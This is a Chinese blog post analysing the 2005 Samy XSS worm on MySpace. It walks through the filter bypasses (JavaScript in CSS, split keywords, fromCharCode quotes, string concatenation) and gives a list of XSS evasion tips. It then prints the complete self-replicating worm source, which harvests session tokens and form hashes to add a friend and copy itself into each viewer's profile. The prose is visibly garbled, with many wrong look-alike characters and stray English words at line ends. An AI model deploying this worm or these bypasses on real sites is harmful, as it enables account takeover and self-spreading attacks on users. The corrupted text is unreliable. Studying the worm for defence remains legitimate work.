Samy XSS Worm之源码讲解

说到Web安全和XSS跨站脚本技术,几乎全部的书都会提到Samy Worm,这是在2005年感染了mySpace社交网络上百万用户的蠕虫。正如Morris蠕虫是互联网第一个蠕虫, Samy Worm则是第一个XSS的蠕虫。所以研究XSS技术最好了解一下这个只要浏览了profile就自动把对方加为好友并列为偶像的代码的实现技术。javascript

如下是根据对Samy Worm分析的文章进行的大体翻译:html

1)  Myspace阻塞了大量的tags,实际上他们仅容许<a>,<img>,<div>这些,或者还有少数其余标签如<embed>。<script>,<body>,onSomething,href等Javascript元素全都被禁用了。然而,有些浏览器如IE容许在CSS标签中插入javascript:
<div style= "background:url('javascript:alert(1)')">
2)    在div中不能使用引号,由于标签里面默认就有单引号和双引号了(<div id="variable">)。这使得编码JS有点困难,为了作到这一点,能够用一个表达式存储JS代码,而后经过变量引用使其执行
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
3)  以上两步后,如今能够在单引号里面放入javascript代码了,可是mySpace对javascript单词进行了严格的过滤,根本没法使用. 幸运的是,有些浏览器会将"java\nscript"解释为"javascript"(实际上javascript的语法说若是没有分号,解析引擎会判 断是否有完整的语境,所以空格,TAB应该也能够)
<div id="mycode" expr="alert(hah!)" style="background:url('java
script:eval(document.all.mycode.expr)')">
4)如今单引号已经可使用了,可是咱们有时候可能会须要双引号.咱们须要对引号进行转义,然而,mySpace去掉了全部的转义的引号,不管是单引号仍是双引号.但咱们仍是有办法,咱们能够将整数转为ASCII,这样就能生成引号了
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java 
script:eval(document.all.mycode.expr)')">
5)    为了将代码发到用正在看它的户空间中,还须要得到页面的source. 可使用document.body.innerHTML得到页面到的source,可是mySpace此次又把"innerHTML"去掉了,只能经过把两个字符串拼接成一个字符串
alert(eval('document.body.inne' + 'rHTML'))
6)    是时候访问其余页面了,可使用iframes,可是一般iframes并非颇有用,并且用户容易发现有其余的东西在执行
所以使用Ajax制造客户端的HTTP GETS和POSTS. 老样子,mySpace去掉了"onreadystatechange", 而这个单词对于XML-HTTP请求来讲是必要的,仍是使用上面的方法
eval('xmlhttp.onread' + 'ystatechange = callback');
7)    如今能够经过GET请求得到他们当前的偶像列表,这里咱们不须要移除任何人,只需把本身添加到已经存在的偶像列表中. 若是能够得到其余人的profile,就能够抓取他们的偶像并存储以备后用. 上面的都搞定以后,接下来的就简单了,除了咱们还必须得到正则浏览profile的用户的friend ID,就像上面已经说到的,能够经过抓取页面的source得到这个.所以如今要搜索整个页面查找某个单词.可是搜索时还有一个问题,有可能会由于搜到包 含这个词的普通代码而结束查询,这个结果不是咱们想看到的. 所以,仍是要经过字符串的合并来解决这个问题
var index = html.indexOf('frien' + 'dID');
8)    到如今为止,咱们已经得到了偶像列表. 首先,在addFriends页面经过XML-HTTP POST先把本身添加为好友. 可是不行,为何呢?由于咱们目前所处的是profile.myspace.com,而发送POST须要在www.myspace.com. 虽然XML-HTTP不容许GETs/POSTs给不一样的域名,但这并非问题. 咱们能够访问www.myspace.com上的相同URL,在上面浏览profiles,重载这个域名上咱们想发送POST的页面
if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
9)    如今咱们已经成功的发送了POST,问题是尽管咱们成功作到了这一点可是却没有添加friends.为何?myspace在pre-POST页面生成 了一个随机的hash(例如:"你肯定要加这个用户为好友吗"的页面). 若是这个hash没有和POST一块儿经过,POST就不成功. 为了绕过去,咱们伪造了一个浏览器并在添加用户以前发送了一个GET请求,解析hash的来源,而后发送POST
10)一旦POST完成了,咱们想添加一个hero和用于传播的代码.该代码可能会运行到相同的页面,因此咱们只要POST一次就够了.然而为了得到一个 新的hash,咱们须要pre-GET一个页面. 可是首先咱们得再次生成想要POST的代码.最简单的方法是抓取咱们所在profile页面的源代码,解析出代码而后POST. 这确实管用,除了如今全部东西的排序混乱不堪. 呃,为了恰如其分的POST咱们须要URL-encode/escape实际的代码. 奇怪的是,仍然不起做用.显然javascript的URL-encoding和escape()函数并无转义全部咱们须要的东西,所以须要手动地作一 些替换以进行必要的转义. 加上"but most of all, samy is my hero."进行混合,在后面加上全部的代码。如今咱们就有了self-reproducing的代码了,一个蠕虫11)还有其余限制,如最大长度等问题,要求使用紧密的代码,没有空格,使人困惑的名字和可重用的函数等java

上述即是在mySpace修补了漏洞以后给出来的分析,视角是第一人称,原文地址:http://namb.la/popular/tech.html程序员

事 实上namb.la就是Samy的博客,为了让更多的人把本身加为好友,Samy显然作了很多工做,能够看出来第一:mySpace的过滤作得是很严谨 的,可是天下没有不透风的墙,只要是人写出来的代码就没有绝对的安全;第二,Samy的这个蠕虫实际上是恶做剧性质的,它会给网络带来很大的负担,但幸运的 是他并无用它来窃取用户信息,不然带来的危害远大于此express

总结一下,为了防止XSS攻击,如今的网站都作了防护措施,会对javascript,<script>,alert,"",'',onClick, onLoad等进行严格的过滤。所以,像书上介绍说onClick =浏览器

function{alert('XSS')} 等这种用来发掘XSS漏洞的方法可能不太适用了。可是javascript很是灵活,再完备的XSS filter因为程序员的经历有限或者性能功能上的限制不必定能彻底防止XSS,所以出现了CSP,Http-Only等应对跨站脚本的措施。安全

在Samy的例子中,Samy利用了CSS中能够插入javascript这一条件,加上javascript对于字符串的灵活拼接等,成功的绕过了很多限制网络

1.尝试在tags中使用javascript代码,如div,style等,也能够在利用标签中的expression进行利用,这里说的expression并非上面的expr,而是在标签中相似于函数的东西app

2.单引号、双引号被过滤或没法使用能够经过变量赋值,整数转ASCII,html编码等手段绕过函数

3.script等单词被过滤能够试下大小写如:JaVaScript,或者空格、换行符如:java  SCript,还能够进行字符串拼接:'jav'+'as'+'cript'固然还有像上面说到的编码等方法绕过

4.alert平时较多的用来验证XSS的存在,实际上可能常常要用到另外一个函数:eval(),执行里面的语句

5.URL-encode/escape、XMLHTTPRequest等也要归入考虑范围,尽管javascript及DOM对http header不可控,可是对于可控制的代码如GET请求的参数、POST的数据咱们能够充分利用

6.碰到代码长度限制可让代码紧缩,去除空格,构造可重用函数,也可使用代码压缩技术压缩代码,若是是对某一条语句进行了严格的长度限制如长度不超过28,就须要不断对代码进行精简了,可能要用到其余的一些技术,能够看一下luoluo的 突破XSS字符数量限制执行任意JS代码

7.跨站技术丰富多彩,这里只根据上面的分析作了下小小的小结,更多的方法还须要本身去探索和掌握

下面是整理排版后的Samy Worm的代码,取自:http://www.gnucitizen.org/blog/wormx/

另外若是感兴趣的话也能够研究一下:百度XSS Worm,Yamanner Worm,前者是几年前百度空间感染的蠕虫,后者是针对yahoo的

复制代码
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);
    var A=String.fromCharCode(39);
    
    function g()
    {
        var C;
        try
        {
            var D=document.body.createTextRange();
            C=D.htmlText
        }
        catch(e){}

        if(C)
        {
            return C
        }
        else
        {
            return eval('document.body.inne'+'rHTML')
        }
    }

    function getData(AU)
    {
        M=getFromURL(AU,'friendID');
        L=getFromURL(AU,'Mytoken')
    }

    function getQueryParams()
    {
        var E=document.location.search;
        var F=E.substring(1,E.length).split('&');
        var AS=new Array();

        for(var O=0;O<F.length;O++)
        {
            var I=F[O].split('=');
            AS[I[0]]=I[1]
        }
        return AS
    }

    var J;
    var AS=getQueryParams();
    var L=AS['Mytoken'];
    var M=AS['friendID'];

    if(location.hostname=='profile.myspace.com')
    {
        document.location='http://www.myspace.com'+location.pathname+location.search
    }
    else
    {
        if(!M)
        {
            getData(g())
        }
        main()
    }

    function getClientFID()
    {
        return findIn(g(),'up_launchIC( '+A,A)
    }

    function nothing() {}

    function paramsToString(AV)
    {
        var N=new String();
        var O=0;
        for(var P in AV)
        {
            if(O>0)
            {
                N+='&'
            }
            var Q=escape(AV[P]);

            while(Q.indexOf('+')!=-1)
            {
                Q=Q.replace('+','%2B')
            }

            while(Q.indexOf('&')!=-1)
            {
                Q=Q.replace('&','%26')
            }

            N+=P+'='+Q;
            O++
        }
        return N
    }

    function httpSend(BH,BI,BJ,BK)
    {
        if(!J)
        {return false}

        eval('J.onr'+'eadystatechange=BI');
        J.open(BJ,BH,true);
        if(BJ=='POST')
        {
            J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            J.setRequestHeader('Content-Length',BK.length)
        }

        J.send(BK);
        return true
    }

    function findIn(BF,BB,BC)
    {
        var R=BF.indexOf(BB)+BB.length;
        var S=BF.substring(R,R+1024);
        return S.substring(0,S.indexOf(BC))
    }

    function getHiddenParameter(BF,BG)
    {
        return findIn(BF,'name='+B+BG+B+' value='+B,B)
    }

    function getFromURL(BF,BG)
    {    
        var T;
        if(BG=='Mytoken')
        {T=B}
        else
        {T='&'}

        var U=BG+'=';
        var V=BF.indexOf(U)+U.length;
        var W=BF.substring(V,V+1024);
        var X=W.indexOf(T);
        var Y=W.substring(0,X);
        return Y
    }

    function getXMLObj()
    {
        var Z=false;
        if(window.XMLHttpRequest)
        {
            try
            {
                Z=new XMLHttpRequest()
            }
            catch(e)
            {Z=false}
        }

        else if(window.ActiveXObject)
        {
            try{
                Z=new ActiveXObject('Msxml2.XMLHTTP')
            }
            catch(e)
            {
                try
                {
                    Z=new ActiveXObject('Microsoft.XMLHTTP')
                }
                catch(e)
                {
                    Z=false
                }
            }
        }

        return Z
    }

    var AA=g();
    var AB=AA.indexOf('m'+'ycode');
    var AC=AA.substring(AB,AB+4096);
    var AD=AC.indexOf('D'+'IV');
    var AE=AC.substring(0,AD);
    var AF;

    if(AE)
    {
        AE=AE.replace('jav'+'a',A+'jav'+'a');
        AE=AE.replace('exp'+'r)','exp'+'r)'+A);
        AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
    }

    var AG;

    function getHome()
    {
        if(J.readyState!=4)
        {return}

        var AU=J.responseText;
        AG=findIn(AU,'P'+'rofileHeroes','</td>');
        AG=AG.substring(61,AG.length);

        if(AG.indexOf('samy')==-1)
        {
            if(AF)
            {
                AG+=AF;
                var AR=getFromURL(AU,'Mytoken');
                var AS=new Array();
                AS['interestLabel']='heroes';
                AS['submit']='Preview';
                AS['interest']=AG;
                J=getXMLObj();

                httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
            }
        }
    }

    function postHero()
    {
        if(J.readyState!=4)
        {return}

        var AU=J.responseText;
        var AR=getFromURL(AU,'Mytoken');
        var AS=new Array();AS['interestLabel']='heroes';
        AS['submit']='Submit';
        AS['interest']=AG;
        AS['hash']=getHiddenParameter(AU,'hash');

        httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
    }

    function main()
    {
        var AN=getClientFID();
        var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
        J=getXMLObj();
        httpSend(BH,getHome,'GET');
        xmlhttp2=getXMLObj();

        httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
    }

    function processxForm()
    {
        if(xmlhttp2.readyState!=4)
        {return}

        var AU=xmlhttp2.responseText;
        var AQ=getHiddenParameter(AU,'hashcode');
        var AR=getFromURL(AU,'Mytoken');
        var AS=new Array();
        AS['hashcode']=AQ;
        AS['friendID']='11851658';
        AS['submit']='Add to Friends';

        httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
    }

    function httpSend2(BH,BI,BJ,BK)
    {
        if(!xmlhttp2)
        {
        return false}eval('xmlhttp2.onr'+'eadystatechange=BI');
        xmlhttp2.open(BJ,BH,true);

        if(BJ=='POST')
        {
            xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            xmlhttp2.setRequestHeader('Content-Length',BK.length)
        }
        
        xmlhttp2.send(BK);
        return true
    } "></DIV>
复制代码
相关文章
相关标签/搜索